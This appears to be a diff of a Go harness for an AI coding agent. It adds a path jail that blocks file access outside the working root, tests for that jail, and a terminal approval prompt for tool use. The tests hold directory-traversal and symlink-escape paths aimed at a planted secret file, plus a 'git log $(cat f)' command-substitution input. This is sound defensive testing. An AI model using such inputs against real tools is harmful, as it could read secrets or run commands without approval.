66+ t.Errorf("Describe() = %q", got)
67+ }
68+ if got := Analyze("git log $(cat f)").Describe(); !strings.Contains(got, "command substitution") {
69+ t.Errorf("Describe() = %q, want it to name the reason", got)
70+ }
71+ }
72+
73+ func contains(xs []string, want string) bool {
74+ for _, x := range xs {
75+ if x == want {
76+ return true
77+ }
78+ }
79+ return false
80+ }
+5−2internal/tools/glob.goView File
@@ -42,7 +42,10 @@ matches within a subtree. Use this instead of guessing where a file lives.`),
4242 if in.Pattern == "" {
4343 return "", fmt.Errorf("pattern is required")
4444 }
45- base := resolveBase(root, in.Path)
45+ base, err := jail(root, resolveBase(root, in.Path))
46+ if err != nil {
47+ return "", err
48+ }
4649 if info, err := os.Stat(base); err != nil || !info.IsDir() {
4750 return "", fmt.Errorf("no such directory: %s", displayPath(root, base))
4851 }
@@ -54,7 +57,7 @@ matches within a subtree. Use this instead of guessing where a file lives.`),
5457 var hits []hit
5558 var scanned int
5659
57- err := filepath.WalkDir(base, func(p string, d fs.DirEntry, err error) error {
60+ err = filepath.WalkDir(base, func(p string, d fs.DirEntry, err error) error {
5861 if err != nil {
5962 return nil // unreadable entries are skipped, not fatal
6063 }
+4−1internal/tools/grep.goView File
@@ -71,7 +71,10 @@ have not been shown — reach for it before guessing at file names.`),
7171 if err != nil {
7272 return "", err
7373 }
74- base := resolveBase(root, in.Path)
74+ base, err := jail(root, resolveBase(root, in.Path))
75+ if err != nil {
76+ return "", err
77+ }
7578 if _, err := os.Stat(base); err != nil {
7679 return "", fmt.Errorf("no such file or directory: %s", displayPath(root, base))
7780 }
+85−0internal/tools/jail_test.goaddedView File
@@ -0,0 +1,85 @@
1+ package tools
2+
3+ import (
4+ "os"
5+ "path/filepath"
6+ "strings"
7+ "testing"
8+ )
9+
10+ func TestJail(t *testing.T) {
11+ root := t.TempDir()
12+ writeFile(t, root, "inside/file.go", "package inside\n")
13+
14+ outside := t.TempDir()
15+ secret := writeFile(t, outside, "secret.env", "TOKEN=hunter2\n")
16+
17+ // A symlink inside the root pointing out of it is the interesting case:
18+ // the path looks fine until it is resolved.
19+ link := filepath.Join(root, "escape")
20+ if err := os.Symlink(outside, link); err != nil {
21+ t.Skipf("symlinks unavailable: %v", err)
22+ }
23+
24+ tests := []struct {
25+ name string
26+ path string
27+ wantErr bool
28+ }{
29+ {name: "relative inside", path: "inside/file.go"},
30+ {name: "absolute inside", path: filepath.Join(root, "inside/file.go")},
31+ {name: "a file that does not exist yet", path: "inside/new.go"},
32+ {name: "nested path that does not exist yet", path: "a/b/c/new.go"},
33+ {name: "dot-dot escape", path: "../escaped.go", wantErr: true},
34+ {name: "buried dot-dot escape", path: "inside/../../escaped.go", wantErr: true},
35+ {name: "absolute path outside", path: secret, wantErr: true},
36+ {name: "through a symlink pointing outside", path: "escape/secret.env", wantErr: true},
37+ {name: "the root itself", path: "."},
38+ }
39+ for _, tc := range tests {
40+ t.Run(tc.name, func(t *testing.T) {
41+ got, err := resolve(root, tc.path)
42+ if tc.wantErr {
43+ if err == nil {
44+ t.Fatalf("resolve(%q) = %q, want a refusal", tc.path, got)
45+ }
46+ if !strings.Contains(err.Error(), "outside the working root") {
47+ t.Errorf("error = %v, want it to explain the jail", err)
48+ }
49+ return
50+ }
51+ if err != nil {
52+ t.Fatalf("resolve(%q): %v", tc.path, err)
53+ }
54+ })
55+ }
56+ }
57+
58+ func TestToolsRefuseToEscapeTheRoot(t *testing.T) {
59+ root := t.TempDir()
60+ outside := t.TempDir()
61+ secret := writeFile(t, outside, "secret.env", "TOKEN=hunter2\n")
62+ track := newTracker()
63+
64+ tools := []struct {
65+ name string
66+ tool Tool
67+ args any
68+ }{
69+ {name: "read_file", tool: NewRead(root, track), args: ReadArgs{Path: secret}},
70+ {name: "edit_file", tool: NewEdit(root, track), args: EditArgs{Path: secret, OldStr: "TOKEN", NewStr: "X"}},
71+ {name: "write_file", tool: NewWrite(root, track), args: WriteArgs{Path: secret, Content: "x"}},
72+ {name: "glob", tool: NewGlob(root), args: GlobArgs{Pattern: "*.env", Path: outside}},
73+ {name: "grep", tool: NewGrep(root), args: GrepArgs{Pattern: "TOKEN", Path: outside}},
74+ }
75+ for _, tc := range tools {
76+ t.Run(tc.name, func(t *testing.T) {
77+ if _, err := run(t, tc.tool, tc.args); err == nil {
78+ t.Fatal("want a refusal for a path outside the root")
79+ }
80+ })
81+ }
82+ if got, _ := os.ReadFile(secret); string(got) != "TOKEN=hunter2\n" {
83+ t.Error("the file outside the root was modified")
84+ }
85+ }
+40−4internal/tools/read.goView File
@@ -110,17 +110,17 @@ func splitLines(s string) []string {
110110 return lines
111111 }
112112
113- // resolve anchors a relative path to root, requiring one. The real path jail
114- // lands in Phase 6.
113+ // resolve anchors a relative path to root and refuses anything outside it.
115114 func resolve(root, path string) (string, error) {
116115 if path == "" {
117116 return "", fmt.Errorf("path is required")
118117 }
119- return resolveBase(root, path), nil
118+ return jail(root, resolveBase(root, path))
120119 }
121120
122121 // resolveBase is resolve for the search tools, where an omitted path means the
123- // working root rather than an error.
122+ // working root rather than an error. It does not jail; callers that take a
123+ // path from the model must.
124124 func resolveBase(root, path string) string {
125125 if root == "" {
126126 root = "."
@@ -133,3 +133,39 @@ func resolveBase(root, path string) string {
133133 }
134134 return filepath.Join(root, path)
135135 }
136+
137+ // jail refuses paths outside the working root. Symlinks are resolved first, on
138+ // the existing part of the path, so a link pointing out of the tree cannot be
139+ // used to step around the check. It is cheap and catches a lot; it is not a
140+ // substitute for a sandbox, since bash can still cd anywhere.
141+ func jail(root, path string) (string, error) {
142+ if root == "" {
143+ return path, nil
144+ }
145+ realRoot, err := filepath.EvalSymlinks(root)
146+ if err != nil {
147+ realRoot = filepath.Clean(root)
148+ }
149+ // A file being created does not exist yet, so resolve the deepest existing
150+ // ancestor and re-attach the rest.
151+ probe, rest := path, ""
152+ for {
153+ if resolved, err := filepath.EvalSymlinks(probe); err == nil {
154+ path = filepath.Join(resolved, rest)
155+ break
156+ }
157+ parent := filepath.Dir(probe)
158+ if parent == probe {
159+ path = filepath.Clean(path)
160+ break
161+ }
162+ rest = filepath.Join(filepath.Base(probe), rest)
163+ probe = parent
164+ }
165+
166+ rel, err := filepath.Rel(realRoot, path)
167+ if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
168+ return "", fmt.Errorf("%s is outside the working root %s; this harness only touches files under the root", path, realRoot)
169+ }
170+ return path, nil
171+ }
+3−3internal/tools/read_test.goView File
@@ -139,12 +139,12 @@ func TestReadFileDoesNotTrackFailedReads(t *testing.T) {
139139 }
140140 }
141141
142- func TestReadFileEmptyAndAbsolutePaths(t *testing.T) {
142+ func TestReadFileEmptyFile(t *testing.T) {
143143 dir := t.TempDir()
144144 abs := writeFile(t, dir, "empty.txt", "")
145- out, err := readCall(t, NewRead("/nonexistent-root", nil), ReadArgs{Path: abs})
145+ out, err := readCall(t, NewRead(dir, nil), ReadArgs{Path: abs})
146146 if err != nil {
147- t.Fatalf("absolute paths should bypass the root: %v", err)
147+ t.Fatalf("an absolute path inside the root should work: %v", err)
148148 }
149149 if !strings.Contains(out, "is empty") {
150150 t.Errorf("out = %q, want an explicit empty-file note rather than a blank result", out)
+59−0internal/ui/approve.goaddedView File
@@ -0,0 +1,59 @@
1+ package ui
2+
3+ import (
4+ "bufio"
5+ "context"
6+ "fmt"
7+ "io"
8+ "strings"
9+
10+ "harness/internal/approval"
11+ )
12+
13+ // Approver reads approval decisions from a terminal.
14+ type Approver struct {
15+ In *bufio.Scanner
16+ Out io.Writer
17+ }
18+
19+ // Prompt implements approval.Prompt.
20+ func (a *Approver) Prompt(ctx context.Context, req approval.Request) (approval.Decision, error) {
21+ if ctx.Err() != nil {
22+ return approval.Deny, ctx.Err()
23+ }
24+ fmt.Fprintf(a.Out, "\n%s%s wants to %s%s\n", color.bold, req.Tool, req.Summary, color.reset)
25+ if req.Detail != "" {
26+ for _, line := range strings.Split(firstLines(strings.TrimRight(req.Detail, "\n"), 10), "\n") {
27+ fmt.Fprintf(a.Out, " %s%s%s\n", color.cyan, line, color.reset)
28+ }
29+ }
30+
31+ options := "[y] yes [n] no [t] always this tool"
32+ if req.Rememberable {
33+ options = "[y] yes [n] no [a] always this exact one [t] always this tool"
34+ }
35+ for {
36+ fmt.Fprintf(a.Out, "%s%s%s\n> ", color.dim, options, color.reset)
37+ if !a.In.Scan() {
38+ // stdin closed: refusing is the only safe reading of silence.
39+ fmt.Fprintln(a.Out)
40+ return approval.Deny, nil
41+ }
42+ switch strings.ToLower(strings.TrimSpace(a.In.Text())) {
43+ case "y", "yes", "":
44+ return approval.Once, nil
45+ case "n", "no":
46+ return approval.Deny, nil
47+ case "t", "tool":
48+ return approval.AlwaysThisTool, nil
49+ case "a", "always":
50+ if req.Rememberable {
51+ return approval.AlwaysThisCommand, nil
52+ }
53+ fmt.Fprintf(a.Out, "%sthis one cannot be remembered: its text does not determine what it runs%s\n",
54+ color.red, color.reset)
55+ default:
56+ fmt.Fprintf(a.Out, "%sanswer y, n%s\n", color.dim, color.reset)
57+ }
58+ }
59+ }